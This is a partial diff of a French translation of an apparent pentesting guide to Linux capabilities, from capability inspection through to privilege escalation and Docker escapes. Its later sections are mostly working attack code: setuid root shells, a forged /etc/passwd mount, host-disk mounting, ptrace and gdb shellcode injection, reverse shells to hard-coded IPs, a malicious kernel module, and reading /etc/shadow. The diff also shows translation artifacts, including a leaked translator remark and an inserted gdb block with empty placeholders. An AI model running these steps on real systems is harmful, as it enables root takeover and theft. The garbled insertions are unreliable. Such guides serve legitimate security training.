en faisant `capsh --print` et celles des autres utilisateurs dans `/proc//status` ```bash cat /proc/1234/status | grep Cap cat /proc/$$/status | grep Cap #This will print the capabilities of the current process ``` +Cette commande devrait renvoyer 5 lignes sur la plupart des systèmes. -This command should return 5 lines on most systems. - -* CapInh = Inherited capabilities -* CapPrm = Permitted capabilities -* CapEff = Effective capabilities -* CapBnd = Bounding set -* CapAmb = Ambient capabilities set - +* CapInh = Capacités héritées +* CapPrm = Capacités autorisées +* CapEff = Capacités effectives +* CapBnd = Ensemble de limites +* CapAmb = Ensemble de capacités ambiantes ```bash #These are the typical capabilities of a root owned process (all) CapInh: 0000000000000000 @@ -77,16 +74,12 @@ CapEff: 0000003fffffffff CapBnd: 0000003fffffffff CapAmb: 0000000000000000 ``` - -These hexadecimal numbers don’t make sense. Using the capsh utility we can decode them into the capabilities name. - +Ces nombres hexadécimaux n'ont pas de sens. En utilisant l'utilitaire capsh, nous pouvons les décoder en noms de capacités. ```bash capsh --decode=0000003fffffffff 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37 ``` - -Lets check now the **capabilities** used by `ping`: - +Vérifions maintenant les **capacités** utilisées par `ping`: ```bash cat /proc/9491/status | grep Cap CapInh: 0000000000000000 @@ -98,15 +91,11 @@ CapAmb: 0000000000000000 capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` - -Although that works, there is another and easier way. To see the capabilities of a running process, simply use the **getpcaps** tool followed by its process ID (PID). You can also provide a list of process IDs. - +Bien que cela fonctionne, il existe une autre méthode plus simple. Pour voir les capacités d'un processus en cours d'exécution, utilisez simplement l'outil **getpcaps** suivi de son identifiant de processus (PID). Vous pouvez également fournir une liste d'identifiants de processus. ```bash getpcaps 1234 ``` - -Lets check here the capabilities of `tcpdump` after having giving the binary enough capabilities (`cap_net_admin` and `cap_net_raw`) to sniff the network (_tcpdump is running in process 9562_): - +Vérifions ici les capacités de `tcpdump` après avoir donné suffisamment de capacités (`cap_net_admin` et `cap_net_raw`) au binaire pour renifler le réseau (_tcpdump s'exécute dans le processus 9562_): ```bash #The following command give tcpdump the needed capabilities to sniff traffic $ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump @@ -124,53 +113,42 @@ CapAmb: 0000000000000000 $ capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` +Comme vous pouvez le voir, les capacités données correspondent aux résultats des 2 façons d'obtenir les capacités d'un binaire. L'outil _getpcaps_ utilise l'appel système **capget()** pour interroger les capacités disponibles pour un thread particulier. Cet appel système n'a besoin que de fournir le PID pour obtenir plus d'informations. -As you can see the given capabilities corresponds with the results of the 2 ways of getting the capabilities of a binary.\ -The _getpcaps_ tool uses the **capget()** system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information. - -### Binaries Capabilities - -Binaries can have capabilities that can be used while executing. For example, it's very common to find `ping` binary with `cap_net_raw` capability: +### Capacités des binaires +Les binaires peuvent avoir des capacités qui peuvent être utilisées pendant l'exécution. Par exemple, il est très courant de trouver le binaire `ping` avec la capacité `cap_net_raw`: ```bash getcap /usr/bin/ping /usr/bin/ping = cap_net_raw+ep ``` - -You can **search binaries with capabilities** using: - +Vous pouvez **rechercher des binaires avec des capacités** en utilisant : ```bash getcap -r / 2>/dev/null ``` +### Suppression des capacités avec capsh -### Dropping capabilities with capsh - -If we drop the CAP\_NET\_RAW capabilities for _ping_, then the ping utility should no longer work. - +Si nous supprimons les capacités CAP\_NET\_RAW pour _ping_, alors l'utilitaire ping ne devrait plus fonctionner. ```bash capsh --drop=cap_net_raw --print -- -c "tcpdump" ``` +En plus de la sortie de _capsh_ elle-même, la commande _tcpdump_ elle-même devrait également générer une erreur. -Besides the output of _capsh_ itself, the _tcpdump_ command itself should also raise an error. +> /bin/bash: /usr/sbin/tcpdump: Opération non permise -> /bin/bash: /usr/sbin/tcpdump: Operation not permitted +L'erreur montre clairement que la commande ping n'est pas autorisée à ouvrir un socket ICMP. Maintenant, nous savons avec certitude que cela fonctionne comme prévu. -The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected. - -### Remove Capabilities - -You can remove capabilities of a binary with +### Supprimer des capacités +Vous pouvez supprimer des capacités d'un binaire avec ```bash setcap -r
``` +## Capacités utilisateur -## User Capabilities - -Apparently **it's possible to assign capabilities also to users**. This probably means that every process executed by the user will be able to use the users capabilities.\ -Base on on [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)and [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)a few files new to be configured to give a user certain capabilities but the one assigning the capabilities to each user will be `/etc/security/capability.conf`.\ -File example: - +Apparemment, **il est possible d'attribuer des capacités également aux utilisateurs**. Cela signifie probablement que chaque processus exécuté par l'utilisateur pourra utiliser les capacités de l'utilisateur.\ +Selon [ceci](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [ceci](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) et [ceci](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user), quelques fichiers doivent être configurés pour donner à un utilisateur certaines capacités, mais celui qui attribue les capacités à chaque utilisateur sera `/etc/security/capability.conf`.\ +Exemple de fichier : ```bash # Simple cap_sys_ptrace developer @@ -184,10 +162,9 @@ cap_net_admin,cap_net_raw jrnetadmin # Combining names and numerics cap_sys_admin,22,25 jrsysadmin ``` +## Capacités de l'environnement -## Environment Capabilities - -Compiling the following program it's possible to **spawn a bash shell inside an environment that provides capabilities**. +En compilant le programme suivant, il est possible de **lancer un shell bash à l'intérieur d'un environnement qui fournit des capacités**. {% code title="ambient.c" %} ```c @@ -279,44 +256,37 @@ int main(int argc, char ** argv) { return 0; } ``` -{% endcode %} - +{% endcode %} (This is a markdown tag and should not be translated) ```bash gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient ./ambient /bin/bash ``` - -Inside the **bash executed by the compiled ambient binary** it's possible to observe the **new capabilities** (a regular user won't have any capability in the "current" section). - +À l'intérieur du **bash exécuté par le binaire ambiant compilé**, il est possible d'observer les **nouvelles capacités** (un utilisateur régulier n'aura aucune capacité dans la section "actuelle"). ```bash capsh --print Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip ``` - {% hint style="danger" %} -You can **only add capabilities that are present** in both the permitted and the inheritable sets. +Vous ne pouvez **ajouter que des capacités qui sont présentes** dans les ensembles autorisés et héritables. {% endhint %} -### Capability-aware/Capability-dumb binaries +### Binaires conscients des capacités / Binaires ignorants des capacités -The **capability-aware binaries won't use the new capabilities** given by the environment, however the **capability dumb binaries will us**e them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries. +Les **binaires conscients des capacités n'utiliseront pas les nouvelles capacités** données par l'environnement, cependant les **binaires ignorants des capacités les utiliseront** car ils ne les rejettent pas. Cela rend les binaires ignorants des capacités vulnérables dans un environnement spécial qui accorde des capacités aux binaires. -## Service Capabilities - -By default a **service running as root will have assigned all the capabilities**, and in some occasions this may be dangerous.\ -Therefore, a **service configuration** file allows to **specify** the **capabilities** you want it to have, **and** the **user** that should execute the service to avoid running a service with unnecessary privileges: +## Capacités de service +Par défaut, un **service s'exécutant en tant que root aura toutes les capacités attribuées**, et dans certains cas, cela peut être dangereux.\ +Par conséquent, un fichier de **configuration de service permet de spécifier** les **capacités** que vous souhaitez qu'il ait, **et** l'**utilisateur** qui doit exécuter le service pour éviter d'exécuter un service avec des privilèges inutiles : ```bash [Service] User=bob AmbientCapabilities=CAP_NET_BIND_SERVICE ``` +## Capacités dans les conteneurs Docker -## Capabilities in Docker Containers - -By default Docker assigns a few capabilities to the containers. It's very easy to check which capabilities are these by running: - +Par défaut, Docker attribue quelques capacités aux conteneurs. Il est très facile de vérifier quelles sont ces capacités en exécutant: ```bash docker run --rm -it r.j3ss.co/amicontained bash Capabilities: @@ -331,21 +301,17 @@ docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash # Remove all and add only one docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash ``` - -​ -
-​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. {% embed url="https://www.rootedcon.com/" %} ## Privesc/Container Escape -Capabilities are useful when you **want to restrict your own processes after performing privileged operations** (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root. - -You can force capabilities upon programs using `setcap`, and query these using `getcap`: +Les capacités sont utiles lorsque vous souhaitez restreindre vos propres processus après avoir effectué des opérations privilégiées (par exemple, après avoir configuré chroot et lié à un socket). Cependant, elles peuvent être exploitées en passant des commandes ou des arguments malveillants qui sont ensuite exécutés en tant que root. +Vous pouvez forcer des capacités sur des programmes en utilisant `setcap` et interroger ces dernières à l'aide de `getcap`: ```bash #Set Capability setcap cap_net_raw+ep /sbin/ping @@ -354,19 +320,15 @@ setcap cap_net_raw+ep /sbin/ping getcap /sbin/ping /sbin/ping = cap_net_raw+ep ``` +Le `+ep` signifie que vous ajoutez la capacité ("-" la supprimerait) en tant qu'Effective et Permitted. -The `+ep` means you’re adding the capability (“-” would remove it) as Effective and Permitted. - -To identify programs in a system or folder with capabilities: - +Pour identifier les programmes dans un système ou un dossier avec des capacités: ```bash getcap -r / 2>/dev/null ``` +### Exemple d'exploitation -### Exploitation example - -In the following example the binary `/usr/bin/python2.6` is found vulnerable to privesc: - +Dans l'exemple suivant, le binaire `/usr/bin/python2.6` est vulnérable à une élévation de privilèges : ```bash setcap cap_setuid+ep /usr/bin/python2.7 /usr/bin/python2.7 = cap_setuid+ep @@ -374,46 +336,44 @@ setcap cap_setuid+ep /usr/bin/python2.7 #Exploit /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");' ``` +**Capacités** nécessaires par `tcpdump` pour **permettre à n'importe quel utilisateur de capturer des paquets**: -**Capabilities** needed by `tcpdump` to **allow any user to sniff packets**: +Les capacités nécessaires pour permettre à n'importe quel utilisateur de capturer des paquets avec `tcpdump` sont `CAP_NET_RAW` et `CAP_NET_ADMIN`. Vous pouvez ajouter ces capacités à `tcpdump` en utilisant la commande suivante: +```bash +sudo setcap 'CAP_NET_RAW+eip CAP_NET_ADMIN+eip' /usr/sbin/tcpdump +``` ```bash setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump getcap /usr/sbin/tcpdump /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip ``` +### Le cas particulier des capacités "vides" -### The special case of "empty" capabilities +Notez qu'il est possible d'attribuer des ensembles de capacités vides à un fichier de programme, ce qui permet de créer un programme set-user-ID-root qui change l'ID utilisateur effectif et enregistré du processus qui exécute le programme à 0, mais ne confère aucune capacité à ce processus. Autrement dit, si vous avez un binaire qui : -Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that: +1. n'est pas détenu par root +2. n'a pas les bits `SUID`/`SGID` définis +3. a un ensemble de capacités vide (par exemple : `getcap myelf` renvoie `myelf =ep`) -1. is not owned by root -2. has no `SUID`/`SGID` bits set -3. has empty capabilities set (e.g.: `getcap myelf` returns `myelf =ep`) - -then **that binary will run as root**. +alors **ce binaire s'exécutera en tant que root**. ## CAP\_SYS\_ADMIN -[**CAP\_SYS\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) is largely a catchall capability, it can easily lead to additional capabilities or full root (typically access to all capabilities). `CAP_SYS_ADMIN` is required to perform a range of **administrative operations**, which is difficult to drop from containers if privileged operations are performed within the container. Retaining this capability is often necessary for containers which mimic entire systems versus individual application containers which can be more restrictive. Among other things this allows to **mount devices** or abuse **release\_agent** to escape from the container. - -**Example with binary** +[**CAP\_SYS\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) est en grande partie une capacité fourre-tout, elle peut facilement conduire à des capacités supplémentaires ou à un accès root complet (généralement un accès à toutes les capacités). `CAP_SYS_ADMIN` est requis pour effectuer une gamme d'opérations administratives, ce qui est difficile à supprimer des conteneurs si des opérations privilégiées sont effectuées dans le conteneur. Le maintien de cette capacité est souvent nécessaire pour les conteneurs qui imitent des systèmes entiers par rapport aux conteneurs d'application individuels qui peuvent être plus restrictifs. Entre autres choses, cela permet de **monter des périphériques** ou d'abuser de **release_agent** pour s'échapper du conteneur. +**Exemple avec un binaire** ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_admin+ep ``` - -Using python you can mount a modified _passwd_ file on top of the real _passwd_ file: - +En utilisant Python, vous pouvez monter un fichier _passwd_ modifié sur le vrai fichier _passwd_ : ```bash cp /etc/passwd ./ #Create a copy of the passwd file openssl passwd -1 -salt abc password #Get hash of "password" vim ./passwd #Change roots passwords of the fake passwd file ``` - -And finally **mount** the modified `passwd` file on `/etc/passwd`: - +Et enfin, **montez** le fichier `passwd` modifié sur `/etc/passwd`: ```python from ctypes import * libc = CDLL("libc.so.6") @@ -426,13 +386,11 @@ options = b"rw" mountflags = MS_BIND libc.mount(source, target, filesystemtype, mountflags, options) ``` +Et vous pourrez **`su` en tant que root** en utilisant le mot de passe "password". -And you will be able to **`su` as root** using password "password". - -**Example with environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: +**Exemple avec l'environnement (évasion de Docker)** +Vous pouvez vérifier les capacités activées à l'intérieur du conteneur Docker en utilisant: ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep @@ -445,13 +403,11 @@ uid=0(root) gid=0(root) groups=0(root) ``` - -Inside the previous output you can see that the SYS\_ADMIN capability is enabled. +À l'intérieur de la sortie précédente, vous pouvez voir que la capacité SYS_ADMIN est activée. * **Mount** -This allows the docker container to **mount the host disk and access it freely**: - +Cela permet au conteneur Docker de **monter le disque hôte et d'y accéder librement** : ```bash fdisk -l #Get disk name Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors @@ -463,12 +419,10 @@ mount /dev/sda /mnt/ #Mount it cd /mnt chroot ./ bash #You have a shell inside the docker hosts disk ``` +* **Accès complet** -* **Full access** - -In the previous method we managed to access the docker host disk.\ -In case you find that the host is running an **ssh** server, you could **create a user inside the docker host** disk and access it via SSH: - +Dans la méthode précédente, nous avons réussi à accéder au disque de l'hôte Docker.\ +Dans le cas où vous constatez que l'hôte exécute un serveur **ssh**, vous pouvez **créer un utilisateur à l'intérieur du disque de l'hôte Docker** et y accéder via SSH : ```bash #Like in the example before, the first step is to mount the docker host disk fdisk -l @@ -482,15 +436,13 @@ nc -v -n -w2 -z 172.17.0.1 1-65535 chroot /mnt/ adduser john ssh john@172.17.0.1 -p 2222 ``` - ## CAP\_SYS\_PTRACE -**This means that you can escape the container by injecting a shellcode inside some process running inside the host.** To access processes running inside the host the container needs to be run at least with **`--pid=host`**. +Cela signifie que vous pouvez échapper au conteneur en injectant un shellcode à l'intérieur d'un processus en cours d'exécution à l'intérieur de l'hôte. Pour accéder aux processus en cours d'exécution à l'intérieur de l'hôte, le conteneur doit être exécuté au moins avec **`--pid=host`**. -[**CAP\_SYS\_PTRACE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows to use `ptrace(2)` and recently introduced cross memory attach system calls such as `process_vm_readv(2)` and `process_vm_writev(2)`. If this capability is granted and the `ptrace(2)` system call itself is not blocked by a seccomp filter, this will allow an attacker to bypass other seccomp restrictions, see [PoC for bypassing seccomp if ptrace is allowed](https://gist.github.com/thejh/8346f47e359adecd1d53) or the **following PoC**: - -**Example with binary (python)** +[**CAP\_SYS\_PTRACE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permet d'utiliser `ptrace(2)` et les appels système récemment introduits pour attacher la mémoire croisée tels que `process_vm_readv(2)` et `process_vm_writev(2)`. Si cette capacité est accordée et que l'appel système `ptrace(2)` lui-même n'est pas bloqué par un filtre seccomp, cela permettra à un attaquant de contourner d'autres restrictions seccomp, voir [PoC pour contourner seccomp si ptrace est autorisé](https://gist.github.com/thejh/8346f47e359adecd1d53) ou le **PoC suivant** : +**Exemple avec un binaire (python)** ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_ptrace+ep @@ -582,17 +534,13 @@ print("Final Instruction Pointer: " + hex(registers.rip)) # Detach from the process. libc.ptrace(PTRACE_DETACH, pid, None, None) ``` +**Exemple avec un binaire (gdb)** -**Example with binary (gdb)** - -`gdb` with `ptrace` capability: - +`gdb` avec la capacité `ptrace`: ``` /usr/bin/gdb = cap_sys_ptrace+ep ``` - -Create a shellcode with msfvenom to inject in memory via gdb - +Créez un shellcode avec msfvenom pour l'injecter en mémoire via gdb ```python # msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py buf = b"" @@ -616,9 +564,17 @@ for i in range(0, len(buf), 8): print(f"set {{long}}($rip+{i}) = {chunks}") ``` +Déboguer un processus root avec gdb et copier-coller les lignes gdb précédemment générées: -Debug a root process with gdb ad copy-paste the previously generated gdb lines: - +``` +sudo gdb -p +(gdb) set follow-fork-mode child +(gdb) set detach-on-fork off +(gdb) set follow-exec-mode new +(gdb) attach +(gdb) c +``` +Note: Remplacez `` par l'ID du processus que vous souhaitez déboguer. ```bash # In this case there was a sleep run by root ## NOTE that the process you abuse will die after the shellcode @@ -639,28 +595,24 @@ Continuing. process 207009 is executing new program: /usr/bin/dash [...] ``` +**Exemple avec l'environnement (Docker breakout) - Autre abus de gdb** -**Example with environment (Docker breakout) - Another gdb Abuse** - -If **GDB** is installed (or you can install it with `apk add gdb` or `apt install gdb` for example) you can **debug a process from the host** and make it call the `system` function. (This technique also requires the capability `SYS_ADMIN`)**.** - +Si **GDB** est installé (ou vous pouvez l'installer avec `apk add gdb` ou `apt install gdb` par exemple), vous pouvez **déboguer un processus depuis l'hôte** et le faire appeler la fonction `system`. (Cette technique nécessite également la capacité `SYS_ADMIN`). ```bash gdb -p 1234 (gdb) call (void)system("ls") (gdb) call (void)system("sleep 5") (gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'") ``` - -You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell). +Vous ne pourrez pas voir la sortie de la commande exécutée, mais elle sera exécutée par ce processus (pour obtenir un shell inversé). {% hint style="warning" %} -If you get the error "No symbol "system" in current context." check the previous example loading a shellcode in a program via gdb. +Si vous obtenez l'erreur "No symbol "system" in current context.", vérifiez l'exemple précédent en chargeant un shellcode dans un programme via gdb. {% endhint %} -**Example with environment (Docker breakout) - Shellcode Injection** - -You can check the enabled capabilities inside the docker container using: +**Exemple avec environnement (évasion de Docker) - Injection de shellcode** +Vous pouvez vérifier les capacités activées à l'intérieur du conteneur Docker en utilisant : ``` capsh --print Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep @@ -673,67 +625,55 @@ uid=0(root) gid=0(root) groups=0(root ``` +Listez les **processus** en cours d'exécution sur l'**hôte** `ps -eaf` -List **processes** running in the **host** `ps -eaf` - -1. Get the **architecture** `uname -m` -2. Find a **shellcode** for the architecture ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) -3. Find a **program** to **inject** the **shellcode** into a process memory ([https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c](https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c)) -4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject` -5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600` +1. Obtenez l'**architecture** `uname -m` +2. Trouvez un **shellcode** pour l'architecture ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) +3. Trouvez un **programme** pour **injecter** le **shellcode** dans la mémoire d'un processus ([https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c](https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c)) +4. **Modifiez** le **shellcode** à l'intérieur du programme et **compilez-le** `gcc inject.c -o inject` +5. **Injectez-le** et récupérez votre **shell**: `./inject 299; nc 172.17.0.1 5600` ## CAP\_SYS\_MODULE -[**CAP\_SYS\_MODULE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows the process to load and unload arbitrary kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls). This could lead to trivial privilege escalation and ring-0 compromise. The kernel can be modified at will, subverting all system security, Linux Security Modules, and container systems.\ -**This means that you can** **insert/remove kernel modules in/from the kernel of the host machine.** +[**CAP\_SYS\_MODULE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permet au processus de charger et décharger des modules noyau arbitraires (appels système `init_module(2)`, `finit_module(2)` et `delete_module(2)`). Cela peut conduire à une élévation de privilèges triviale et à une compromission de niveau 0. Le noyau peut être modifié à volonté, contournant toutes les sécurités du système, les modules de sécurité Linux et les systèmes de conteneurs.\ +**Cela signifie que vous pouvez** **insérer/supprimer des modules noyau dans/hors du noyau de la machine hôte.** -**Example with binary** - -In the following example the binary **`python`** has this capability. +**Exemple avec un binaire** +Dans l'exemple suivant, le binaire **`python`** a cette capacité. ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_module+ep ``` - -By default, **`modprobe`** command checks for dependency list and map files in the directory **`/lib/modules/$(uname -r)`**.\ -In order to abuse this, lets create a fake **lib/modules** folder: - +Par défaut, la commande **`modprobe`** vérifie la liste des dépendances et les fichiers de mappage dans le répertoire **`/lib/modules/$(uname -r)`**.\ +Pour exploiter cela, créons un faux dossier **lib/modules** : ```bash mkdir lib/modules -p cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r) ``` - -Then **compile the kernel module you can find 2 examples below and copy** it to this folder: - +Ensuite, **compilez le module du noyau que vous pouvez trouver ci-dessous dans 2 exemples et copiez-le** dans ce dossier : ```bash cp reverse-shell.ko lib/modules/$(uname -r)/ ``` - -Finally, execute the needed python code to load this kernel module: - +Enfin, exécutez le code python nécessaire pour charger ce module de noyau : ```python import kmod km = kmod.Kmod() km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/") km.modprobe("reverse-shell") ``` +**Exemple 2 avec binaire** -**Example 2 with binary** - -In the following example the binary **`kmod`** has this capability. - +Dans l'exemple suivant, le binaire **`kmod`** possède cette capacité. ```bash getcap -r / 2>/dev/null /bin/kmod = cap_sys_module+ep ``` +Cela signifie qu'il est possible d'utiliser la commande **`insmod`** pour insérer un module noyau. Suivez l'exemple ci-dessous pour obtenir un **shell inversé** en abusant de ce privilège. -Which means that it's possible to use the command **`insmod`** to insert a kernel module. Follow the example below to get a **reverse shell** abusing this privilege. - -**Example with environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: +**Exemple avec l'environnement (Docker breakout)** +Vous pouvez vérifier les capacités activées à l'intérieur du conteneur Docker en utilisant: ``` capsh --print Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep @@ -746,10 +686,9 @@ uid=0(root) gid=0(root) groups=0(root) ``` +À l'intérieur de la sortie précédente, vous pouvez voir que la capacité **SYS_MODULE** est activée. -Inside the previous output you can see that the **SYS\_MODULE** capability is enabled. - -**Create** the **kernel module** that is going to execute a reverse shell and the **Makefile** to **compile** it: +**Créez** le **module du noyau** qui va exécuter un shell inversé et le **Makefile** pour le **compiler** : {% code title="reverse-shell.c" %} ```c @@ -790,20 +729,17 @@ clean: {% endcode %} {% hint style="warning" %} -The blank char before each make word in the Makefile **must be a tab, not spaces**! +L'espace vide avant chaque mot "make" dans le Makefile **doit être une tabulation, pas des espaces**! {% endhint %} -Execute `make` to compile it. - +Exécutez `make` pour le compiler. ``` ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop. sudo apt update sudo apt full-upgrade ``` - -Finally, start `nc` inside a shell and **load the module** from another one and you will capture the shell in the nc process: - +Enfin, démarrez `nc` à l'intérieur d'un shell et **chargez le module** depuis un autre shell et vous capturerez le shell dans le processus nc : ```bash #Shell 1 nc -lvnp 4444 @@ -811,48 +747,40 @@ nc -lvnp 4444 #Shell 2 insmod reverse-shell.ko #Launch the reverse shell ``` +**Le code de cette technique a été copié depuis le laboratoire "Abusing SYS\_MODULE Capability" de** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) -**The code of this technique was copied from the laboratory of "Abusing SYS\_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) - -Another example of this technique can be found in [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) +Un autre exemple de cette technique peut être trouvé sur [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) ## CAP\_DAC\_READ\_SEARCH -[**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows a process to **bypass file read, and directory read and execute permissions**. While this was designed to be used for searching or reading files, it also grants the process permission to invoke `open_by_handle_at(2)`. Any process with the capability `CAP_DAC_READ_SEARCH` can use `open_by_handle_at(2)` to gain access to any file, even files outside their mount namespace. The handle passed into `open_by_handle_at(2)` is intended to be an opaque identifier retrieved using `name_to_handle_at(2)`. However, this handle contains sensitive and tamperable information, such as inode numbers. This was first shown to be an issue in Docker containers by Sebastian Krahmer with [shocker](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) exploit.\ -**This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.** +[**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permet à un processus de **contourner les permissions de lecture de fichiers et de lecture et d'exécution de répertoires**. Bien que cela ait été conçu pour être utilisé pour la recherche ou la lecture de fichiers, cela accorde également au processus la permission d'appeler `open_by_handle_at(2)`. Tout processus ayant la capacité `CAP_DAC_READ_SEARCH` peut utiliser `open_by_handle_at(2)` pour accéder à n'importe quel fichier, même des fichiers en dehors de leur espace de montage. La poignée passée à `open_by_handle_at(2)` est censée être un identificateur opaque récupéré à l'aide de `name_to_handle_at(2)`. Cependant, cette poignée contient des informations sensibles et modifiables, telles que les numéros d'inode. Cela a été montré pour la première fois comme un problème dans les conteneurs Docker par Sebastian Krahmer avec l'exploit [shocker](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).\ +**Cela signifie que vous pouvez contourner les vérifications de permission de lecture de fichiers et de lecture/exécution de répertoires.** -**Example with binary** - -The binary will be able to read any file. So, if a file like tar has this capability it will be able to read the shadow file: +**Exemple avec un binaire** +Le binaire sera capable de lire n'importe quel fichier. Ainsi, si un fichier comme tar a cette capacité, il sera capable de lire le fichier shadow : ```bash cd /etc tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp cd /tmp tar -cxf shadow.tar.gz ``` +**Exemple avec binary2** -**Example with binary2** - -In this case lets suppose that **`python`** binary has this capability. In order to list root files you could do: - +Dans ce cas, supposons que le binaire **`python`** a cette capacité. Pour lister les fichiers root, vous pouvez faire: ```python import os for r, d, f in os.walk('/root'): for filename in f: print(filename) ``` - -And in order to read a file you could do: - +Et pour lire un fichier, vous pouvez faire : ```python print(open("/etc/shadow", "r").read()) ``` +**Exemple dans l'environnement (évasion de Docker)** -**Example in Environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container 